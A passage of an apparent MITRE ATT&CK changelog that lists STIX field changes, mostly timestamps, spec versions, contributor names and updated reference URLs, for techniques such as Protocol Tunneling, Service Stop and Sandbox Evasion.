external_references[2]['url']http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberoshttps://web.archive.org/web/20210515214027/https://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos
x_mitre_attack_spec_version3.1.03.2.0

[T1574.008] Hijack Execution Flow: Path Interception by Search Order Hijacking

Current version: 1.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2023-03-30 21:01:44.781000+00:002024-09-12 15:25:57.059000+00:00
external_references[1]['description']Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.Microsoft. (n.d.). CreateProcess function. Retrieved September 12, 2024.
external_references[1]['url']http://msdn.microsoft.com/en-us/library/ms682425https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa
external_references[3]['description']Microsoft. (n.d.). WinExec function. Retrieved December 5, 2014.Microsoft. (n.d.). WinExec function. Retrieved September 12, 2024.
external_references[3]['url']http://msdn.microsoft.com/en-us/library/ms687393https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-winexec
x_mitre_attack_spec_version3.1.03.2.0

[T1598] Phishing for Information

Current version: 1.3

Details
values_changed
STIX FieldOld valueNew Value
modified2023-09-08 20:28:49.600000+00:002024-05-31 04:18:44.570000+00:00
external_references[1]['url']https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdfhttps://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf
x_mitre_attack_spec_version3.1.03.2.0

[T1547.010] Boot or Logon Autostart Execution: Port Monitors

Current version: 1.2

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-12 02:49:39.980000+00:002024-09-12 15:26:17.886000+00:00
external_references[2]['description']Microsoft. (n.d.). AddMonitor function. Retrieved November 12, 2014.Microsoft. (n.d.). AddMonitor function. Retrieved September 12, 2024.
external_references[2]['url']http://msdn.microsoft.com/en-us/library/dd183341https://learn.microsoft.com/en-us/windows/win32/printdocs/addmonitor

[T1653] Power Settings

Current version: 1.0

Details
values_changed
STIX FieldOld valueNew Value
modified2023-09-30 21:28:45.038000+00:002024-10-16 20:11:40.334000+00:00
x_mitre_contributors[0]Goldstein MenachemMenachem Goldstein

[T1059.001] Command and Scripting Interpreter: PowerShell

Current version: 1.4

Details
values_changed
STIX FieldOld valueNew Value
modified2024-03-01 18:01:37.575000+00:002024-10-15 16:39:13.228000+00:00
external_references[4]['description']Haight, J. (2016, April 21). PS>Attack. Retrieved June 1, 2016.Haight, J. (2016, April 21). PS>Attack. Retrieved September 27, 2024.
external_references[4]['url']https://github.com/jaredhaight/PSAttackhttps://github.com/Exploit-install/PSAttack-1

[T1003.007] OS Credential Dumping: Proc Filesystem

Current version: 1.2

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-10 16:41:01.496000+00:002024-10-15 15:13:32.253000+00:00

[T1055.012] Process Injection: Process Hollowing

Current version: 1.3

Details
values_changed
STIX FieldOld valueNew Value
modified2023-08-11 21:37:00.009000+00:002024-09-12 15:11:45.602000+00:00
external_references[3]['description']Leitch, J. (n.d.). Process Hollowing. Retrieved November 12, 2014.Leitch, J. (n.d.). Process Hollowing. Retrieved September 12, 2024.
external_references[3]['url']http://www.autosectools.com/process-hollowing.pdfhttps://new.dc414.org/wp-content/uploads/2011/01/Process-Hollowing.pdf
x_mitre_attack_spec_version3.1.03.2.0

[T1572] Protocol Tunneling

Current version: 1.0

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may tunnel network communications to and from a t1Adversaries may tunnel network communications to and from a 
>victim system within a separate protocol to avoid detection/>victim system within a separate protocol to avoid detection/
>network filtering and/or enable access to otherwise unreacha>network filtering and/or enable access to otherwise unreacha
>ble systems. Tunneling involves explicitly encapsulating a p>ble systems. Tunneling involves explicitly encapsulating a p
>rotocol within another. This behavior may conceal malicious >rotocol within another. This behavior may conceal malicious 
>traffic by blending in with existing traffic and/or provide >traffic by blending in with existing traffic and/or provide 
>an outer layer of encryption (similar to a VPN). Tunneling c>an outer layer of encryption (similar to a VPN). Tunneling c
>ould also enable routing of network packets that would other>ould also enable routing of network packets that would other
>wise not reach their intended destination, such as SMB, RDP,>wise not reach their intended destination, such as SMB, RDP,
> or other traffic that would be filtered by network applianc> or other traffic that would be filtered by network applianc
>es or not routed over the Internet.   There are various mean>es or not routed over the Internet.   There are various mean
>s to encapsulate a protocol within another protocol. For exa>s to encapsulate a protocol within another protocol. For exa
>mple, adversaries may perform SSH tunneling (also known as S>mple, adversaries may perform SSH tunneling (also known as S
>SH port forwarding), which involves forwarding arbitrary dat>SH port forwarding), which involves forwarding arbitrary dat
>a over an encrypted SSH tunnel.(Citation: SSH Tunneling)   [>a over an encrypted SSH tunnel.(Citation: SSH Tunneling)   [
>Protocol Tunneling](https://attack.mitre.org/techniques/T157>Protocol Tunneling](https://attack.mitre.org/techniques/T157
>2) may also be abused by adversaries during [Dynamic Resolut>2) may also be abused by adversaries during [Dynamic Resolut
>ion](https://attack.mitre.org/techniques/T1568). Known as DN>ion](https://attack.mitre.org/techniques/T1568). Known as DN
>S over HTTPS (DoH), queries to resolve C2 infrastructure may>S over HTTPS (DoH), queries to resolve C2 infrastructure may
> be encapsulated within encrypted HTTPS packets.(Citation: B> be encapsulated within encrypted HTTPS packets.(Citation: B
>leepingComp Godlua JUL19)   Adversaries may also leverage [P>leepingComp Godlua JUL19)   Adversaries may also leverage [P
>rotocol Tunneling](https://attack.mitre.org/techniques/T1572>rotocol Tunneling](https://attack.mitre.org/techniques/T1572
>) in conjunction with [Proxy](https://attack.mitre.org/techn>) in conjunction with [Proxy](https://attack.mitre.org/techn
>iques/T1090) and/or [Protocol Impersonation](https://attack.>iques/T1090) and/or [Protocol or Service Impersonation](http
>mitre.org/techniques/T1001/003) to further conceal C2 commun>s://attack.mitre.org/techniques/T1001/003) to further concea
>ications and infrastructure. >l C2 communications and infrastructure. 
Details
values_changed
STIX FieldOld valueNew Value
descriptionAdversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems. Tunneling involves explicitly encapsulating a protocol within another. This behavior may conceal malicious traffic by blending in with existing traffic and/or provide an outer layer of encryption (similar to a VPN). Tunneling could also enable routing of network packets that would otherwise not reach their intended destination, such as SMB, RDP, or other traffic that would be filtered by network appliances or not routed over the Internet. + +There are various means to encapsulate a protocol within another protocol. For example, adversaries may perform SSH tunneling (also known as SSH port forwarding), which involves forwarding arbitrary data over an encrypted SSH tunnel.(Citation: SSH Tunneling) + +[Protocol Tunneling](https://attack.mitre.org/techniques/T1572) may also be abused by adversaries during [Dynamic Resolution](https://attack.mitre.org/techniques/T1568). Known as DNS over HTTPS (DoH), queries to resolve C2 infrastructure may be encapsulated within encrypted HTTPS packets.(Citation: BleepingComp Godlua JUL19) + +Adversaries may also leverage [Protocol Tunneling](https://attack.mitre.org/techniques/T1572) in conjunction with [Proxy](https://attack.mitre.org/techniques/T1090) and/or [Protocol Impersonation](https://attack.mitre.org/techniques/T1001/003) to further conceal C2 communications and infrastructure. Adversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems. Tunneling involves explicitly encapsulating a protocol within another. This behavior may conceal malicious traffic by blending in with existing traffic and/or provide an outer layer of encryption (similar to a VPN). Tunneling could also enable routing of network packets that would otherwise not reach their intended destination, such as SMB, RDP, or other traffic that would be filtered by network appliances or not routed over the Internet. + +There are various means to encapsulate a protocol within another protocol. For example, adversaries may perform SSH tunneling (also known as SSH port forwarding), which involves forwarding arbitrary data over an encrypted SSH tunnel.(Citation: SSH Tunneling) + +[Protocol Tunneling](https://attack.mitre.org/techniques/T1572) may also be abused by adversaries during [Dynamic Resolution](https://attack.mitre.org/techniques/T1568). Known as DNS over HTTPS (DoH), queries to resolve C2 infrastructure may be encapsulated within encrypted HTTPS packets.(Citation: BleepingComp Godlua JUL19) + +Adversaries may also leverage [Protocol Tunneling](https://attack.mitre.org/techniques/T1572) in conjunction with [Proxy](https://attack.mitre.org/techniques/T1090) and/or [Protocol or Service Impersonation](https://attack.mitre.org/techniques/T1001/003) to further conceal C2 communications and infrastructure.

[T1547.001] Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

Current version: 2.0

Details
values_changed
STIX FieldOld valueNew Value
modified2023-10-16 09:08:22.319000+00:002024-09-12 15:27:58.051000+00:00
external_references[3]['description']Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November 12, 2014.Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved September 12, 2024.
external_references[3]['url']http://msdn.microsoft.com/en-us/library/aa376977https://learn.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys

[T1074.002] Data Staged: Remote Data Staging

Current version: 1.1

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2021-03-08 10:33:02.019000+00:002024-09-30 13:28:37.414000+00:00
external_references[1]['url']https://content.fireeye.com/m-trends/rpt-m-trends-2020https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf

[T1036.003] Masquerading: Rename System Utilities

Current version: 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2023-09-14 21:12:48.411000+00:002024-09-12 19:30:45.065000+00:00
external_references[1]['description']Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved April 22, 2019.Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved September 12, 2024.
external_references[1]['url']https://twitter.com/ItsReallyNick/status/1055321652777619457https://x.com/ItsReallyNick/status/1055321652777619457
x_mitre_attack_spec_version3.1.03.2.0

[T1053] Scheduled Task/Job

Current version: 2.3

Details
values_changed
STIX FieldOld valueNew Value
modified2024-03-01 15:29:46.832000+00:002024-10-15 15:14:03.453000+00:00

[T1593.002] Search Open Websites/Domains: Search Engines

Current version: 1.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2021-04-15 03:52:06.960000+00:002024-09-12 19:19:47.758000+00:00
external_references[1]['description']Borges, E. (2019, March 5). Exploring Google Hacking Techniques. Retrieved October 20, 2020.Borges, E. (2019, March 5). Exploring Google Hacking Techniques. Retrieved September 12, 2024.
external_references[1]['url']https://securitytrails.com/blog/google-hacking-techniqueshttps://www.recordedfuture.com/threat-intelligence-101/threat-analysis-techniques/google-dorks

[T1593] Search Open Websites/Domains

Current version: 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2022-10-18 22:48:33.286000+00:002024-09-12 19:19:47.759000+00:00
external_references[1]['description']Borges, E. (2019, March 5). Exploring Google Hacking Techniques. Retrieved October 20, 2020.Borges, E. (2019, March 5). Exploring Google Hacking Techniques. Retrieved September 12, 2024.
external_references[1]['url']https://securitytrails.com/blog/google-hacking-techniqueshttps://www.recordedfuture.com/threat-intelligence-101/threat-analysis-techniques/google-dorks
x_mitre_attack_spec_version2.1.03.2.0

[T1003.002] OS Credential Dumping: Security Account Manager

Current version: 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2023-07-24 18:53:10.860000+00:002024-10-15 16:40:52.174000+00:00
x_mitre_attack_spec_version3.1.03.2.0

[T1555.002] Credentials from Password Stores: Securityd Memory

Current version: 1.2

Details
values_changed
STIX FieldOld valueNew Value
modified2024-03-29 16:37:34.772000+00:002024-10-15 16:41:18.638000+00:00
external_references[1]['description']Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved September 12, 2024.
external_references[1]['url']http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-wayhttps://www.slideshare.net/slideshow/external-to-da-the-os-x-way/62021418

[T1569.002] System Services: Service Execution

Current version: 1.2

Details
values_changed
STIX FieldOld valueNew Value
modified2023-08-14 15:53:00.999000+00:002024-10-15 16:41:40.247000+00:00
x_mitre_attack_spec_version3.1.03.2.0

[T1489] Service Stop

Current version: 1.2

+ + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may stop or disable services on a system to rendt1Adversaries may stop or disable services on a system to rend
>er those services unavailable to legitimate users. Stopping >er those services unavailable to legitimate users. Stopping 
>critical services or processes can inhibit or stop response >critical services or processes can inhibit or stop response 
>to an incident or aid in the adversary's overall objectives >to an incident or aid in the adversary's overall objectives 
>to cause damage to the environment.(Citation: Talos Olympic >to cause damage to the environment.(Citation: Talos Olympic 
>Destroyer 2018)(Citation: Novetta Blockbuster)   Adversaries>Destroyer 2018)(Citation: Novetta Blockbuster)   Adversaries
> may accomplish this by disabling individual services of hig> may accomplish this by disabling individual services of hig
>h importance to an organization, such as <code>MSExchangeIS<>h importance to an organization, such as <code>MSExchangeIS<
>/code>, which will make Exchange content inaccessible (Citat>/code>, which will make Exchange content inaccessible.(Citat
>ion: Novetta Blockbuster). In some cases, adversaries may st>ion: Novetta Blockbuster) In some cases, adversaries may sto
>op or disable many or all services to render systems unusabl>p or disable many or all services to render systems unusable
>e.(Citation: Talos Olympic Destroyer 2018) Services or proce>.(Citation: Talos Olympic Destroyer 2018) Services or proces
>sses may not allow for modification of their data stores whi>ses may not allow for modification of their data stores whil
>le running. Adversaries may stop services or processes in or>e running. Adversaries may stop services or processes in ord
>der to conduct [Data Destruction](https://attack.mitre.org/t>er to conduct [Data Destruction](https://attack.mitre.org/te
>echniques/T1485) or [Data Encrypted for Impact](https://atta>chniques/T1485) or [Data Encrypted for Impact](https://attac
>ck.mitre.org/techniques/T1486) on the data stores of service>k.mitre.org/techniques/T1486) on the data stores of services
>s like Exchange and SQL Server.(Citation: SecureWorks WannaC> like Exchange and SQL Server.(Citation: SecureWorks WannaCr
>ry Analysis)>y Analysis)

New Mitigations:

Details
values_changed
STIX FieldOld valueNew Value
modified2022-07-28 18:47:11.957000+00:002024-10-12 15:57:27.380000+00:00
descriptionAdversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster) + +Adversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS, which will make Exchange content inaccessible (Citation: Novetta Blockbuster). In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server.(Citation: SecureWorks WannaCry Analysis)Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster) + +Adversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS, which will make Exchange content inaccessible.(Citation: Novetta Blockbuster) In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server.(Citation: SecureWorks WannaCry Analysis)
x_mitre_attack_spec_version2.1.03.2.0

[T1574.011] Hijack Execution Flow: Services Registry Permissions Weakness

Current version: 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2023-03-30 21:01:38.651000+00:002024-09-12 19:42:48.016000+00:00
external_references[1]['description']@r0wdy_. (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018.@r0wdy_. (2017, November 30). Service Recovery Parameters. Retrieved September 12, 2024.
external_references[1]['url']https://twitter.com/r0wdy_/status/936365549553991680https://x.com/r0wdy_/status/936365549553991680
x_mitre_attack_spec_version2.1.03.2.0

[T1547.009] Boot or Logon Autostart Execution: Shortcut Modification

Current version: 1.2

New Mitigations:

Details
values_changed
STIX FieldOld valueNew Value
modified2023-03-30 21:01:49.848000+00:002024-10-15 13:41:16.110000+00:00
x_mitre_attack_spec_version2.1.03.2.0

[T1598.002] Phishing for Information: Spearphishing Attachment

Current version: 1.1

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2021-04-15 03:41:33.335000+00:002024-05-31 04:18:44.568000+00:00
external_references[4]['url']https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdfhttps://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf

[T1566.001] Phishing: Spearphishing Attachment

Current version: 2.2

New Mitigations:

Details
values_changed
STIX FieldOld valueNew Value
modified2024-01-31 14:09:27.066000+00:002024-10-15 16:42:01.552000+00:00
external_references[1]['url']https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdfhttps://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf

[T1598.003] Phishing for Information: Spearphishing Link

Current version: 1.6

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-19 13:26:16.082000+00:002024-05-31 04:18:44.567000+00:00
external_references[1]['url']https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdfhttps://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf

[T1566.003] Phishing: Spearphishing via Service

Current version: 2.0

New Mitigations:

Details
values_changed
STIX FieldOld valueNew Value
modified2024-01-31 14:15:55.690000+00:002024-10-15 15:16:30.272000+00:00

[T1562.011] Impair Defenses: Spoof Security Alerting

Current version: 1.0

Details
values_changed
STIX FieldOld valueNew Value
modified2023-04-12 22:46:33.995000+00:002024-10-16 20:12:44.962000+00:00
x_mitre_attack_spec_version3.1.03.2.0
x_mitre_contributors[0]Goldstein MenachemMenachem Goldstein

[T1565.001] Data Manipulation: Stored Data Manipulation

Current version: 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2022-04-19 23:03:49.461000+00:002024-08-26 16:33:33.982000+00:00
external_references[2]['url']https://content.fireeye.com/apt/rpt-apt38https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf
x_mitre_attack_spec_version2.1.03.2.0

[T1195] Supply Chain Compromise

Current version: 1.6

New Mitigations:

Details
values_changed
STIX FieldOld valueNew Value
modified2024-02-26 14:23:37.009000+00:002024-10-04 11:17:00.778000+00:00
external_references[5]['url']https://www.se.com/ww/en/download/document/SESN-2018-236-01/https://www.se.com/us/en/download/document/SESN-2018-236-01/

[T1216.002] System Script Proxy Execution: SyncAppvPublishingServer

Current version: 1.0

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-18 23:51:40.464000+00:002024-09-12 19:42:21.547000+00:00
external_references[4]['description']Nick Landers. (2017, August 8). Need a signed alternative to Powershell.exe? SyncAppvPublishingServer in Win10 has got you covered.. Retrieved February 6, 2024.Nick Landers. (2017, August 8). Need a signed alternative to Powershell.exe? SyncAppvPublishingServer in Win10 has got you covered.. Retrieved September 12, 2024.
external_references[4]['url']https://twitter.com/monoxgas/status/895045566090010624https://x.com/monoxgas/status/895045566090010624

[T1497.001] Virtualization/Sandbox Evasion: System Checks

Current version: 2.2

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-19 12:49:40.919000+00:002024-09-12 15:50:18.047000+00:00
external_references[3]['description']Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021.Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved September 13, 2024.
external_references[3]['url']https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQchttps://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc/edit

[T1082] System Information Discovery

Current version: 2.5

Details
values_changed
STIX FieldOld valueNew Value
modified2023-03-30 21:01:40.871000+00:002024-10-15 16:42:22.247000+00:00
x_mitre_attack_spec_version2.1.03.2.0

[T1053.006] Scheduled Task/Job: Systemd Timers

Current version: 1.2

Details
values_changed
STIX FieldOld valueNew Value
modified2023-09-08 11:56:26.862000+00:002024-10-15 16:42:51.536000+00:00
x_mitre_attack_spec_version3.1.03.2.0

[T1505.005] Server Software Component: Terminal Services DLL

Current version: 1.0

Details
values_changed
STIX FieldOld valueNew Value
modified2022-04-18 20:22:44.971000+00:002024-09-12 19:40:42.810000+00:00
external_references[1]['description']James. (2019, July 14). @James_inthe_box. Retrieved March 28, 2022.James. (2019, July 14). @James_inthe_box. Retrieved September 12, 2024.
external_references[1]['url']https://twitter.com/james_inthe_box/status/1150495335812177920https://x.com/james_inthe_box/status/1150495335812177920
x_mitre_attack_spec_version2.1.03.2.0

[T1497.003] Virtualization/Sandbox Evasion: Time Based Evasion

Current version: 1.2

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2021-10-15 22:37:43.854000+00:002024-09-12 15:50:18.048000+00:00
external_references[1]['description']Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021.Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved September 13, 2024.
external_references[1]['url']https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQchttps://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc/edit

[T1588.002] Obtain Capabilities: Tool

Current version: 1.1

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2021-10-17 16:17:55.499000+00:002024-09-16 16:20:16.431000+00:00
external_references[1]['description']Recorded Future. (2019, June 20). Out of the Blue: How Recorded Future Identified Rogue Cobalt Strike Servers. Retrieved October 16, 2020.Recorded Future. (2019, June 20). Out of the Blue: How Recorded Future Identified Rogue Cobalt Strike Servers. Retrieved September 16, 2024.
external_references[1]['url']https://www.recordedfuture.com/identifying-cobalt-strike-servers/https://www.recordedfuture.com/blog/identifying-cobalt-strike-servers

[T1565.002] Data Manipulation: Transmitted Data Manipulation

Current version: 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2022-04-19 23:04:44.258000+00:002024-08-26 16:33:33.983000+00:00
external_references[2]['url']https://content.fireeye.com/apt/rpt-apt38https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf
x_mitre_attack_spec_version2.1.03.2.0

[T1059.004] Command and Scripting Interpreter: Unix Shell

Current version: 1.2

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-16 12:24:40.163000+00:002024-10-15 15:17:19.136000+00:00

[T1546.004] Event Triggered Execution: Unix Shell Configuration Modification

Current version: 2.1

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2021-08-20 18:01:52.120000+00:002024-09-25 15:02:24.143000+00:00
external_references[2]['description']Benjamin Cane. (2013, September 16). Understanding a little more about /etc/profile and /etc/bashrc. Retrieved February 25, 2021.Benjamin Cane. (2013, September 16). Understanding a little more about /etc/profile and /etc/bashrc. Retrieved September 25, 2024.
external_references[2]['url']https://bencane.com/2013/09/16/understanding-a-little-more-about-etcprofile-and-etcbashrc/https://web.archive.org/web/20220316014323/http://bencane.com/2013/09/16/understanding-a-little-more-about-etcprofile-and-etcbashrc/

[T1608.001] Stage Capabilities: Upload Malware

Current version: 1.2

Details
values_changed
STIX FieldOld valueNew Value
modified2023-04-11 23:22:49.534000+00:002024-10-16 20:13:40.501000+00:00
x_mitre_attack_spec_version3.1.03.2.0
x_mitre_contributors[1]Goldstein MenachemMenachem Goldstein

[T1497.002] Virtualization/Sandbox Evasion: User Activity Based Checks

Current version: 1.1

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2021-10-18 14:57:48.362000+00:002024-09-12 15:50:18.050000+00:00
external_references[1]['description']Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021.Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved September 13, 2024.
external_references[1]['url']https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQchttps://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc/edit

[T1021.005] Remote Services: VNC

Current version: 1.1

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2023-03-30 21:01:46.879000+00:002024-09-12 15:20:07.264000+00:00
external_references[9]['description']Jay Pipes. (2013, December 23). Security Breach! Tenant A is seeing the VNC Consoles of Tenant B!. Retrieved October 6, 2021.Jay Pipes. (2013, December 23). Security Breach! Tenant A is seeing the VNC Consoles of Tenant B!. Retrieved September 12, 2024.
external_references[9]['url']http://lists.openstack.org/pipermail/openstack/2013-December/004138.htmlhttps://lists.openstack.org/pipermail/openstack/2013-December/004138.html
x_mitre_attack_spec_version3.1.03.2.0

[T1583.003] Acquire Infrastructure: Virtual Private Server

Current version: 1.1

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2021-10-17 15:36:59.315000+00:002024-10-15 13:22:11.113000+00:00

[T1497] Virtualization/Sandbox Evasion

Current version: 1.3

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2021-10-18 14:57:48.989000+00:002024-09-12 15:50:18.049000+00:00
external_references[1]['description']Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021.Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved September 13, 2024.
external_references[1]['url']https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQchttps://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc/edit

[T1059.005] Command and Scripting Interpreter: Visual Basic

Current version: 1.4

Details
values_changed
STIX FieldOld valueNew Value
modified2023-04-07 17:13:03.738000+00:002024-10-15 16:43:27.104000+00:00
x_mitre_attack_spec_version3.1.03.2.0

[T1595.002] Active Scanning: Vulnerability Scanning

Current version: 1.0

Details
values_changed
STIX FieldOld valueNew Value
modified2023-03-13 20:46:31.907000+00:002024-10-15 13:37:31.317000+00:00
x_mitre_attack_spec_version3.1.03.2.0

[T1056.003] Input Capture: Web Portal Capture

Current version: 1.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2023-03-30 21:01:46.711000+00:002024-10-15 16:43:43.849000+00:00
x_mitre_attack_spec_version3.1.03.2.0

[T1584.006] Compromise Infrastructure: Web Services

Current version: 1.2

Details
values_changed
STIX FieldOld valueNew Value
modified2023-04-12 20:19:21.620000+00:002024-10-15 16:44:09.114000+00:00
external_references[1]['description']Insikt Group. (2020, March 12). Swallowing the Snake’s Tail: Tracking Turla Infrastructure. Retrieved October 20, 2020.Insikt Group. (2020, March 12). Swallowing the Snake’s Tail: Tracking Turla Infrastructure. Retrieved September 16, 2024.
external_references[1]['url']https://www.recordedfuture.com/turla-apt-infrastructure/https://www.recordedfuture.com/research/turla-apt-infrastructure
x_mitre_attack_spec_version3.1.03.2.0

[T1059.003] Command and Scripting Interpreter: Windows Command Shell

Current version: 1.4

Details
values_changed
STIX FieldOld valueNew Value
modified2024-03-01 17:35:02.889000+00:002024-10-15 15:19:56.540000+00:00

[T1555.004] Credentials from Password Stores: Windows Credential Manager

Current version: 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2022-10-21 15:46:55.929000+00:002024-10-15 16:44:35.906000+00:00
x_mitre_attack_spec_version2.1.03.2.0

[T1047] Windows Management Instrumentation

Current version: 1.5

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-11 18:13:25.130000+00:002024-10-15 15:20:57.328000+00:00

[T1021.006] Remote Services: Windows Remote Management

Current version: 1.2

Details
values_changed
STIX FieldOld valueNew Value
modified2023-08-11 15:26:41.941000+00:002024-09-12 15:28:23.398000+00:00
external_references[4]['description']Microsoft. (n.d.). Windows Remote Management. Retrieved November 12, 2014.Microsoft. (n.d.). Windows Remote Management. Retrieved September 12, 2024.
external_references[4]['url']http://msdn.microsoft.com/en-us/library/aa384426https://learn.microsoft.com/en-us/windows/win32/winrm/portal
x_mitre_attack_spec_version3.1.03.2.0

[T1559.003] Inter-Process Communication: XPC Services

Current version: 1.0

Details
values_changed
STIX FieldOld valueNew Value
modified2022-04-20 22:54:47.164000+00:002024-10-16 16:14:12.793000+00:00
x_mitre_attack_spec_version2.1.03.2.0
x_mitre_contributors[0]Csaba Fitzl @theevilbit of Offensive SecurityCsaba Fitzl @theevilbit of Kandji

[T1220] XSL Script Processing

Current version: 1.2

Details
values_changed
STIX FieldOld valueNew Value
